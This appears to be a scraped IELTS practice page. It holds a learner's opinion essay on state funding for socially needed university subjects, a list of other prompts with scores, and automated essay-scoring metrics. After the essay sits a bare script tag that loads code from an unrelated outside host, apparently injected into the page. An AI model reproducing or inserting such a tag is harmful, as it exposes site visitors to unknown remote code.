Modern societies need specialists in certain fields, but not others. Some people therefore think that governments should pay university fees for students who study subjects that are needed by society. Those who choose to study less relevant subjects should not receive government funding.
Would the advantages of such an educational policy outweigh the disadvantages
Nowadays governments offer financial support for certain amount of students in specific areas of education. Therefore, it rises a discussion about choosing the most suitable students, precisely, some people claim that a country can get better results if such funding will be given for the students who are teaching according to the demands of the modern life. In contrast, others insist on sharing government support among the students equally. In my opinion, it will be honest to give students financial support depending on their abilities, not only the study areas they chose, and I am going to explain my opinion with some facts below.
Firstly, it is undeniable fact that technological development of the world changes the content of jobs. I mean in comparison with previous years nowadays there are great demands for people in innovative areas, such as computer engineering, or information technologies etc. For instance, in our country the agricultural section was more likely to develop in the 1990s, so government tried to provide necessary facilities and financial resources to qualify workers in this sphere whereas today specialists in the industrial and information fields are more important than the indicated ones.
However, to my mind a number of disadvantages will be unavoidable if the government applies this policy, to be more precise, development only in certain fields may not result with the improvement of whole economy of the country. Furthermore, there may be great amount of students with specific abilities in less relevant subjects and discrimination between such students will probably cause negative effects on education systems.
In conclusion, taking account all indicated facts above I think following the idea given on the statement can be damage the education not improve it.
<script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2020-12-17 | farhodyusupov | view | |
| 2020-12-17 | farhodyusupov | view |
- The graphs below show the types of music albums purchased by people in Britain according to sex and age. 85
- The pie charts below show the units of electricity production of fuel by source in Australia and France in 1980 and 2000. 75
- The graph below shows the consumption of fish and some different kinds of meat in a European country between 1979 and 2004. 90
- The table below gives information about the underground railway systems in six cities 75
- The idea of having a single career is becoming an old fashioned one. The new fashion will be have several careers or ways of earning money and further education will be something that continues throughout life 73
flaws:
Sentence-Sentence Coherence: 0.046 0.07
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 9 15
No. of Words: 284 350
No. of Characters: 1499 1500
No. of Different Words: 166 200
Fourth Root of Number of Words: 4.105 4.7
Average Word Length: 5.278 4.6
Word Length SD: 2.862 2.4
No. of Words greater than 5 chars: 119 100
No. of Words greater than 6 chars: 101 80
No. of Words greater than 7 chars: 66 40
No. of Words greater than 8 chars: 44 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 31.556 21.0
Sentence Length SD: 17.746 7.5
Use of Discourse Markers (%): 0.889 0.12
Sentence-Text Coherence: 0.385 0.35
Sentence-Para Coherence: 0.661 0.50
Sentence-Sentence Coherence: 0.046 0.07
Number of Paragraphs: 4 5